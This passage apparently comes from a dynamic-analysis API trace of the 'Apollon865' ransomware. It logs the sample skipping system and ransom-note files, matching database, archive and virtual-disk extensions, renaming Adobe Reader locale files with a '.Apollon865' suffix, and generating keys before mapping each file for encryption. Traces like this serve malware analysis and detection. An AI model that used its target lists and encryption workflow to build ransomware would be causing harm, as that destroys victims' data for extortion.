	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="temp") returned -1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="pagefile.sys") returned -1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="boot") returned 1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="ids.txt") returned 1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="ntuser.dat") returned -1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="perflogs") returned -1
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2="MSBuild") returned 1
	[0059.398] lstrlenW (lpString="Multimedia.CAT") returned 14
	[0059.398] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT") returned 79
	[0059.398] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Multimedia.CAT" | out: lpString1="Multimedia.CAT") returned="Multimedia.CAT"
	[0059.398] lstrlenW (lpString="Multimedia.CAT") returned 14
	[0059.398] lstrlenW (lpString="Apollon865") returned 10
	[0059.398] lstrcmpiW (lpString1="imedia.CAT", lpString2="Apollon865") returned 1
	[0059.398] lstrlenW (lpString=".dll") returned 4
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2=".dll") returned 1
	[0059.398] lstrlenW (lpString=".lnk") returned 4
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2=".lnk") returned 1
	[0059.398] lstrlenW (lpString=".ini") returned 4
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2=".ini") returned 1
	[0059.398] lstrlenW (lpString=".sys") returned 4
	[0059.398] lstrcmpiW (lpString1="Multimedia.CAT", lpString2=".sys") returned 1
	[0059.398] lstrlenW (lpString="Multimedia.CAT") returned 14
	[0059.398] lstrlenW (lpString="bak") returned 3
	[0059.398] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.398] lstrlenW (lpString="ba_") returned 3
	[0059.398] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.398] lstrlenW (lpString="dbb") returned 3
	[0059.398] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.398] lstrlenW (lpString="vmdk") returned 4
	[0059.398] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.398] lstrlenW (lpString="rar") returned 3
	[0059.398] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.398] lstrlenW (lpString="zip") returned 3
	[0059.398] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.399] lstrlenW (lpString="tgz") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.399] lstrlenW (lpString="vbox") returned 4
	[0059.399] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.399] lstrlenW (lpString="vdi") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.399] lstrlenW (lpString="vhd") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.399] lstrlenW (lpString="vhdx") returned 4
	[0059.399] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.399] lstrlenW (lpString="avhd") returned 4
	[0059.399] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.399] lstrlenW (lpString="db") returned 2
	[0059.399] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.399] lstrlenW (lpString="db2") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.399] lstrlenW (lpString="db3") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.399] lstrlenW (lpString="dbf") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.399] lstrlenW (lpString="mdf") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.399] lstrlenW (lpString="mdb") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.399] lstrlenW (lpString="sql") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.399] lstrlenW (lpString="sqlite") returned 6
	[0059.399] lstrcmpiW (lpString1="ia.CAT", lpString2="sqlite") returned -1
	[0059.399] lstrlenW (lpString="sqlite3") returned 7
	[0059.399] lstrcmpiW (lpString1="dia.CAT", lpString2="sqlite3") returned -1
	[0059.399] lstrlenW (lpString="sqlitedb") returned 8
	[0059.399] lstrcmpiW (lpString1="edia.CAT", lpString2="sqlitedb") returned -1
	[0059.399] lstrlenW (lpString="xml") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.399] lstrlenW (lpString="$er") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.399] lstrlenW (lpString="4dd") returned 3
	[0059.399] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.400] lstrlenW (lpString="4dl") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.400] lstrlenW (lpString="^^^") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.400] lstrlenW (lpString="abs") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.400] lstrlenW (lpString="abx") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.400] lstrlenW (lpString="accdb") returned 5
	[0059.400] lstrcmpiW (lpString1="a.CAT", lpString2="accdb") returned -1
	[0059.400] lstrlenW (lpString="accdc") returned 5
	[0059.400] lstrcmpiW (lpString1="a.CAT", lpString2="accdc") returned -1
	[0059.400] lstrlenW (lpString="accde") returned 5
	[0059.400] lstrcmpiW (lpString1="a.CAT", lpString2="accde") returned -1
	[0059.400] lstrlenW (lpString="accdr") returned 5
	[0059.400] lstrcmpiW (lpString1="a.CAT", lpString2="accdr") returned -1
	[0059.400] lstrlenW (lpString="accdt") returned 5
	[0059.400] lstrcmpiW (lpString1="a.CAT", lpString2="accdt") returned -1
	[0059.400] lstrlenW (lpString="accdw") returned 5
	[0059.400] lstrcmpiW (lpString1="a.CAT", lpString2="accdw") returned -1
	[0059.400] lstrlenW (lpString="accft") returned 5
	[0059.400] lstrcmpiW (lpString1="a.CAT", lpString2="accft") returned -1
	[0059.400] lstrlenW (lpString="adb") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.400] lstrlenW (lpString="adb") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.400] lstrlenW (lpString="ade") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.400] lstrlenW (lpString="adf") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.400] lstrlenW (lpString="adn") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.400] lstrlenW (lpString="adp") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.400] lstrlenW (lpString="alf") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.400] lstrlenW (lpString="ask") returned 3
	[0059.400] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.401] lstrlenW (lpString="btr") returned 3
	[0059.401] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.401] lstrlenW (lpString="cat") returned 3
	[0059.401] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.401] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT.Apollon865") returned 86
	[0059.401] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.402] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=82432) returned 1
	[0059.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.403] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.404] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.404] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.404] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14500, lpName=0x0) returned 0x154
	[0059.406] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14500) returned 0x120000
	[0059.411] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.412] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.412] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.412] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.413] CloseHandle (hObject=0x154) returned 1
	[0059.413] CloseHandle (hObject=0x15c) returned 1
	[0059.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.414] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pddom.CAT", cAlternateFileName="")) returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2=".") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="..") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="windows") returned -1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="bootmgr") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="temp") returned -1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="pagefile.sys") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="boot") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="ids.txt") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="ntuser.dat") returned 1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="perflogs") returned -1
	[0059.414] lstrcmpiW (lpString1="pddom.CAT", lpString2="MSBuild") returned 1
	[0059.414] lstrlenW (lpString="pddom.CAT") returned 9
	[0059.414] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT") returned 75
	[0059.414] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="pddom.CAT" | out: lpString1="pddom.CAT") returned="pddom.CAT"
	[0059.414] lstrlenW (lpString="pddom.CAT") returned 9
	[0059.415] lstrlenW (lpString="Apollon865") returned 10
	[0059.415] lstrlenW (lpString=".dll") returned 4
	[0059.415] lstrcmpiW (lpString1="pddom.CAT", lpString2=".dll") returned 1
	[0059.415] lstrlenW (lpString=".lnk") returned 4
	[0059.415] lstrcmpiW (lpString1="pddom.CAT", lpString2=".lnk") returned 1
	[0059.415] lstrlenW (lpString=".ini") returned 4
	[0059.415] lstrcmpiW (lpString1="pddom.CAT", lpString2=".ini") returned 1
	[0059.415] lstrlenW (lpString=".sys") returned 4
	[0059.415] lstrcmpiW (lpString1="pddom.CAT", lpString2=".sys") returned 1
	[0059.415] lstrlenW (lpString="pddom.CAT") returned 9
	[0059.415] lstrlenW (lpString="bak") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.415] lstrlenW (lpString="ba_") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.415] lstrlenW (lpString="dbb") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.415] lstrlenW (lpString="vmdk") returned 4
	[0059.415] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.415] lstrlenW (lpString="rar") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.415] lstrlenW (lpString="zip") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.415] lstrlenW (lpString="tgz") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.415] lstrlenW (lpString="vbox") returned 4
	[0059.415] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.415] lstrlenW (lpString="vdi") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.415] lstrlenW (lpString="vhd") returned 3
	[0059.415] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.415] lstrlenW (lpString="vhdx") returned 4
	[0059.415] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.415] lstrlenW (lpString="avhd") returned 4
	[0059.415] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.415] lstrlenW (lpString="db") returned 2
	[0059.416] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.416] lstrlenW (lpString="db2") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.416] lstrlenW (lpString="db3") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.416] lstrlenW (lpString="dbf") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.416] lstrlenW (lpString="mdf") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.416] lstrlenW (lpString="mdb") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.416] lstrlenW (lpString="sql") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.416] lstrlenW (lpString="sqlite") returned 6
	[0059.416] lstrcmpiW (lpString1="om.CAT", lpString2="sqlite") returned -1
	[0059.416] lstrlenW (lpString="sqlite3") returned 7
	[0059.416] lstrcmpiW (lpString1="dom.CAT", lpString2="sqlite3") returned -1
	[0059.416] lstrlenW (lpString="sqlitedb") returned 8
	[0059.416] lstrcmpiW (lpString1="ddom.CAT", lpString2="sqlitedb") returned -1
	[0059.416] lstrlenW (lpString="xml") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.416] lstrlenW (lpString="$er") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.416] lstrlenW (lpString="4dd") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.416] lstrlenW (lpString="4dl") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.416] lstrlenW (lpString="^^^") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.416] lstrlenW (lpString="abs") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.416] lstrlenW (lpString="abx") returned 3
	[0059.416] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.416] lstrlenW (lpString="accdb") returned 5
	[0059.416] lstrcmpiW (lpString1="m.CAT", lpString2="accdb") returned 1
	[0059.417] lstrlenW (lpString="accdc") returned 5
	[0059.417] lstrcmpiW (lpString1="m.CAT", lpString2="accdc") returned 1
	[0059.417] lstrlenW (lpString="accde") returned 5
	[0059.417] lstrcmpiW (lpString1="m.CAT", lpString2="accde") returned 1
	[0059.417] lstrlenW (lpString="accdr") returned 5
	[0059.417] lstrcmpiW (lpString1="m.CAT", lpString2="accdr") returned 1
	[0059.417] lstrlenW (lpString="accdt") returned 5
	[0059.417] lstrcmpiW (lpString1="m.CAT", lpString2="accdt") returned 1
	[0059.417] lstrlenW (lpString="accdw") returned 5
	[0059.417] lstrcmpiW (lpString1="m.CAT", lpString2="accdw") returned 1
	[0059.417] lstrlenW (lpString="accft") returned 5
	[0059.417] lstrcmpiW (lpString1="m.CAT", lpString2="accft") returned 1
	[0059.417] lstrlenW (lpString="adb") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.417] lstrlenW (lpString="adb") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.417] lstrlenW (lpString="ade") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.417] lstrlenW (lpString="adf") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.417] lstrlenW (lpString="adn") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.417] lstrlenW (lpString="adp") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.417] lstrlenW (lpString="alf") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.417] lstrlenW (lpString="ask") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.417] lstrlenW (lpString="btr") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.417] lstrlenW (lpString="cat") returned 3
	[0059.417] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.417] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT.Apollon865") returned 81
	[0059.418] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.419] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=11776) returned 1
	[0059.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.420] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.420] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.420] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.421] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3100, lpName=0x0) returned 0x154
	[0059.422] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3100) returned 0x120000
	[0059.424] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.424] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.424] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.425] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.425] CloseHandle (hObject=0x154) returned 1
	[0059.425] CloseHandle (hObject=0x15c) returned 1
	[0059.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.426] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x85c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPKLite.CAT", cAlternateFileName="")) returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2=".") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="..") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="windows") returned -1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="bootmgr") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="temp") returned -1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="pagefile.sys") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="boot") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="ids.txt") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="ntuser.dat") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="perflogs") returned 1
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2="MSBuild") returned 1
	[0059.426] lstrlenW (lpString="PPKLite.CAT") returned 11
	[0059.426] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT") returned 70
	[0059.426] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PPKLite.CAT" | out: lpString1="PPKLite.CAT") returned="PPKLite.CAT"
	[0059.426] lstrlenW (lpString="PPKLite.CAT") returned 11
	[0059.426] lstrlenW (lpString="Apollon865") returned 10
	[0059.426] lstrcmpiW (lpString1="PKLite.CAT", lpString2="Apollon865") returned 1
	[0059.426] lstrlenW (lpString=".dll") returned 4
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2=".dll") returned 1
	[0059.426] lstrlenW (lpString=".lnk") returned 4
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2=".lnk") returned 1
	[0059.426] lstrlenW (lpString=".ini") returned 4
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2=".ini") returned 1
	[0059.426] lstrlenW (lpString=".sys") returned 4
	[0059.426] lstrcmpiW (lpString1="PPKLite.CAT", lpString2=".sys") returned 1
	[0059.426] lstrlenW (lpString="PPKLite.CAT") returned 11
	[0059.426] lstrlenW (lpString="bak") returned 3
	[0059.426] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.427] lstrlenW (lpString="ba_") returned 3
